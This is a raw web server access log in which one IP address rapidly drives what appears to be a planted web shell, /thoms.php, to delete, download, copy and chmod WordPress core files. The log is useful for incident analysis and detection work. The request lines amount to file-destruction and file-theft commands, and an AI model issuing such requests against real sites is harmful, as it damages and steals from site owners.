45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?del=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?dl=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?dl=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cache.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?dl=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22066 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?chmod=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?del=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22293 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fglobal-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fglobal-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fglobal-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fkses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fkses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?dl=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22236 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fkses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?dl=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22219 "https://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?del=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?chmod=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?del=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22277 "https://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?chmod=assets&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=assets&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=assets&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?chmod=sodium_compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=bookmark.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22261 "https://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
